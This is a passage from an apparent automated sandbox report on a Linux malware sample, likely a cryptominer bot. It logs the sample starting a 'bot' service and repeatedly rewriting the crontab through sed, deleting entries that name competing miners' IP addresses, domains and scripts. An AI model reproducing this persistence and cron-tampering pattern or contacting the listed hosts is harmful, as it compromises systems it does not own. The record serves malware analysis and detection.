                                                                                                                                                                                                    • /bin/systemctl
                                                                                                                                                                                                      systemctl start bot
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                                                                                      PID:966
                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                      sed /base64/d
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:970
                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:969
                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Creates/modifies Cron job
                                                                                                                                                                                                          PID:971
                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:972
                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                            sed /_cron/d
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:973
                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                              PID:974
                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:975
                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates/modifies Cron job
                                                                                                                                                                                                                PID:977
                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                sed /31.210.20.181/d
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:976
                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                  sed /update.sh/d
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:979
                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                                                                    PID:980
                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:978
                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                      sed /logo4/d
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:982
                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:981
                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Creates/modifies Cron job
                                                                                                                                                                                                                          PID:983
                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                          sed /logo9/d
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:985
                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:984
                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                              PID:986
                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:987
                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Creates/modifies Cron job
                                                                                                                                                                                                                                PID:989
                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                sed /logo0/d
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:988
                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                  sed /logo/d
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:992
                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                                                                                    PID:993
                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:991
                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • Creates/modifies Cron job
                                                                                                                                                                                                                                      PID:996
                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                      sed /tor2web/d
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:995
                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:994
                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:998
                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Creates/modifies Cron job
                                                                                                                                                                                                                                            PID:1000
                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                            sed /jpg/d
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:999
                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                              sed /png/d
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:1002
                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Creates/modifies Cron job
                                                                                                                                                                                                                                                PID:1003
                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:1001
                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                  sed /tmp/d
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:1005
                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                                                                                                    PID:1006
                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:1004
                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                      sed /zmreplchkr/d
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:1008
                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:1007
                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Creates/modifies Cron job
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:1009
                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                          sed /aliyun.one/d
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:1011
                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Creates/modifies Cron job
                                                                                                                                                                                                                                                            PID:1012
                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:1010
                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                              sed /3.215.110.66.one/d
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:1014
                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Creates/modifies Cron job
                                                                                                                                                                                                                                                                PID:1015
                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:1013
                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                  sed /pastebin/d
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:1017
                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:1016
                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                      • Creates/modifies Cron job
                                                                                                                                                                                                                                                                      PID:1018
                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                      • Creates/modifies Cron job
                                                                                                                                                                                                                                                                      PID:1021
                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                      sed /onion/d
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:1020
                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:1019
                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1022
                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Creates/modifies Cron job
                                                                                                                                                                                                                                                                            PID:1024
                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                            sed /lsd.systemten.org/d
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:1023
                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                              sed /shuf/d
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:1026
                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:1025
                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                  • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                  PID:1027
                                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                                  sed /ash/d
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:1029
                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:1028
                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                      • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                      PID:1030
                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                      • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                      PID:1033
                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:1031
                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                        sed /mr.sh/d
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:1032
                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                          sed /185.181.10.234/d
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:1035
                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:1034
                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                              PID:1036
                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                              PID:1039
                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                              sed /localhost.xyz/d
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:1038
                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:1037
                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:1040
                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                    sed /45.137.151.106/d
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:1041
                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                      PID:1042
                                                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                                                      sed /111.90.159.106/d
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:1044
                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:1043
                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                          PID:1045
                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                          sed /github/d
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:1047
                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:1046
                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                              PID:1048
                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                              sed /bigd1ck.com/d
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:1050
                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                PID:1051
                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:1049
                                                                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                                                                  sed /xmr.ipzse.com/d
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • System Network Configuration Discovery
                                                                                                                                                                                                                                                                                                                  PID:1053
                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                  PID:1054
                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:1052
                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                    PID:1057
                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:1055
                                                                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                                                                      sed /185.181.10.234/d
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:1056
                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:1058
                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                          • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                          PID:1060
                                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                                          sed /91.241.19.134/d
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:1059
                                                                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                                                                            sed /122.51.164.83/d
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:1062
                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:1061
                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                PID:1063
                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                sed /185.191.32.198/d
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:1065
                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:1064
                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                    PID:1066
                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                    sed /newdat.sh/d
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:1068
                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                      • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                      PID:1069
                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                        PID:1067
                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                        • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                        PID:1072
                                                                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                                                                        sed /lib.pygensim.com/d
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                          PID:1071
                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                            PID:1070
                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                              PID:1073
                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                              PID:1075
                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                              sed /t.amynx.com/d
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                PID:1074
                                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                                sed /update.sh/d
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:1077
                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                  • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                  PID:1078
                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                    PID:1076
                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                    PID:1081
                                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                                    sed /systemd-service.sh/d
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                      PID:1080
                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                        PID:1079
                                                                                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                                                                                        sed /pg_stat.sh/d
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                          PID:1083
                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1082
                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                            • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                            PID:1084
                                                                                                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                                                                                                            sed /sleep/d
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1086
                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                              PID:1087
                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1085
                                                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                sed /oka/d
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1089
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:1088
                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                    PID:1090
                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                    • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                    PID:1093
                                                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                    sed /linux1213/d
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:1092
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1091
                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:1094
                                                                                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                          sed "/#wget/d"
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:1095
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                            • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                            PID:1096
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:1097
                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                              PID:1099
                                                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                              sed "/#curl/d"
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:1098
                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:1100
                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                  PID:1102
                                                                                                                                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                  sed /zsvc/d
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1101
